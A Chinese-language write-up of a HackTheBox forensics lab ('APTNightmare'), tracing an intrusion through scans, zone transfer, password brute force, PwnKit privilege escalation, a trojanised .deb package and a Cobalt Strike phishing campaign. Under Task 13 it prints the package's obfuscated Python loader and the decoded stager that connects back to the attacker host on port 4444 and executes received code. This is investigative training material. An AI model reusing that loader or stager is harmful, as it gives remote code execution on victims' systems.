HackTheBox Sherlocks APTNightmare

前言

公司内突然出现了多封恶意电子邮件,我们需要调查整个事件的前因后果。包括流量分析、内存分析、日志分析、病毒分析。

背景

We neglected to prioritize the robust security of our network and servers, and as a result, both our organization and our customers have fallen victim to a cyber attack. The origin and methods of this breach remain unknown. Numerous suspicious emails have been detected. In our pursuit of resolution, As an expert forensics investigator, you must be able to help us.

文件

  • traffic.pcapng :Web 服务器流量。
  • Memory_WebServer.mem :Web 服务器内存转储。
  • DiskImage_CEO-US.zip: CEO 计算机 C 盘的克隆。
  • Ubuntu_5.3.0-70-generic_profile.zip :包含 Ubuntu 计算机中的/boot和/tools文件夹

Task 1

What is the IP address of the infected web server?

最活跃的就是 192.168.1.5 与 192.168.1.3

看过协议分析了,HTTP 流量居多。先看一下 HTTP 请求,马上发现异常请求,定位到攻击行为。

搜索关键字很快就能定位到。

Task 2

What is the IP address of the Attacker?

Task 3

服务端短时间内向向攻击者发送了很多 RST/ACK 包,攻击者可能在进行 SYN 扫描。

通过服务端回复 ACK 的情况就能判断端口是否开放。

ip.dst == 192.168.1.5 && ip.src == 192.168.1.3 && tcp.flags.syn == 1 && tcp.flags.ack == 1

过滤后导出至 CSV

数据处理就交给 AI 吧

Task 4

What are the first five ports identified by the attacker in numerical order during the enumeration phase, not considering the sequence of their discovery?

奇怪的问题,就是按顺序数前五个端口。

Task 5

The attacker exploited a misconfiguration allowing them to enumerate all subdomains. This misconfiguration is commonly referred to as (e.g, Unrestricted Access Controls)?

能枚举所有子域名的应该是区域传输,在数据包里也发现了这样的流量。

Task 6

How many subdomains were discovered by the attacker?

找到区域传输的数据包,数一下 A 记录。

Task 7

What is the compromised subdomain (e.g., dev.example.com) ?

找到攻击的包,查看 Origin。

Task 8

What email address and password were used to log in (e.g., user@example.com:password123)?

攻击者一直在请求 index.php,从请求内容看也是在爆破密码。

只需要找到不是 index.php 的时候,证明他可能登陆成功了。

ip.addr == 192.168.1.5 && ip.addr == 192.168.1.3 && http.request &&http.host == "sysmon.cs-corp.cd" && !http.request.uri contains "index.php"


跟踪流可以看到正确的密码

Task 9

What command gave the attacker their initial access ?

这里执行完之后,服务器的 5555 端口就跟攻击者建立链接了。

Task 10

What is the CVE identifier for the vulnerability that the attacker exploited to achieve privilege escalation (e.g, CVE-2016-5195) ?

可以看到使用了 PwnKit.sh 就实现了提权。

PwnKit.sh 是一个独立的漏洞利用工具,专门针对 CVE-2021-4034 这个漏洞。

Task 11

What is the MITRE ID of the technique used by the attacker to achieve persistence (e.g, T1098.001)?

通过 crontab 进行权限维持。

Task 12

The attacker tampered with the software hosted on the 'download' subdomain with the intent of gaining access to end-users. What is the Mitre ATT&CK technique ID for this attack?

看描述就知道是供应链攻击,T1195.002.

Task 13

What command provided persistence in the cs-linux.deb file?

先把 cs-linux.deb 导出来,解压,拿到代码。

#!/usr/bin/env python3

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eJw9UN9LwzAQfl7+irCHNcEsrqMbOmxBxAcRGTjfRKRNT1uaJiWXaqfo325Dh/dwx3f33Xc/6razzlO0qgEvvnRdiCJH2CYCveuVF75uQVgkxKLEI3po2RxUZanCpa5NP9DFgmYZ/T2XY2Pl1JyTN+voQGtDXW7egcUrviMz746jn2E6zZJTYGtxwof9zf3r4enx9vqBB55U1hhQnrEovlzLeHshY7mJRDIaD4zCQd6QGQwKOh+kw6oSNUDHNpzodLpA9qbLVcOi7C4SKB2oDzYKPK9eSJmesObks6o1UA2GlfxKj3Ll2X91OaU5gQEUC0+SJSjbdg4Q2fQvWWyTkCwhMMV3hNEOfzj5Axx7baM=')[0])))

解码,可以看到是通过写入 ~/.bashrc 做权限维持的。

import socket,zlib,base64,struct,time,os

os.system("echo cs-linux && >> ~/.bashrc")
for x in range(10):
	try:
			s=socket.socket(2,socket.SOCK_STREAM)
			s.connect(('192.168.1.5',4444))
			break
	except:
			time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
        d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

Task 14

The attacker sent emails to employees, what the name for the running process that allowed this to occur?

需要分析进程了,这里通过内存转储文件 Memory_WebServer.mem 进行分析。但是 Volatility 一直失败,只能上 strings 大法了。但数据量还是很多,1120w 行的数据没法翻看。
一般 Linux 服务会有一个专属用户用于运行这个进程,比如 nginx 用户。我们可以去流量包里找到之前的 /etc/passwd,有概率可以发现邮件服务是什么。
从后往前了解,citadel 正好就是协同服务,包含邮件服务。

但直接填 citadel 是错误的,估计有服务端?最快的还是问 AI。

Task 15

We received phishing email can you provide subject of email ?

Task 16

What is the name of the malicious attachment?

直接搜 attachment 太多了,还是搜主题 Revised Privacy Policy 再找到附件名。

Content-disposition: attachment; filename="policy.docm"

Task 17

Please identify the usernames of the CEOs who received the attachment.

这里直接搜索 To: "ceo 没有结果,搜索 From: "ceo 才有结果。可能是收到附件的 CEO 中毒后会自动发恶意邮件给其他人吧。

Task 18

What is the hostname for the compromised CEO?

主机名应该在 DiskImage_CEO-US.zip 会容易获取。

Task 19

What is the full path for the malicious attachment?

这里需要变成反斜杠才能提交成功(好坑)

Task 20

Can you provide the command used to gain initial access?

Windows 执行命令一般会调用 cmd.exe 或 powershell.exe,但直接搜索查不到。
通过 Windows 日志可以看到,powershell 下载了 http://192.168.1.5:806/a 并执行。

Task 21

Provide a Popular threat label for the malicious executable used to gain initial access?

要解答这个问题,我需要知道 http://192.168.1.5:806/a 的内容。我们可以在流量包里找到它。

CyberChef 解码一下,看起来具体的 shellcode 是这个被 xor35 处理过的 Base64 字符串。

CyberChef 解码出错,写个脚本解一下。应该是病毒本体了,扔到 Virustotal 分析一下。

Task 22

What is the payload type?

这需要我们对 cs 病毒做样本分析。Google 找到了一个能解析 cs 的脚本 https://isc.sans.edu/diary/Analysis+of+an+Encoded+Cobalt+Strike+Beacon/29014

Task 23

What is task name has been add by attacker?

直接去 C:\Windows\System32\Tasks 下寻找即可,C:\Users\Public 下的 WindowsUpdate.exe 很不正常。应该是攻击者布置的。

完结撒花 🎉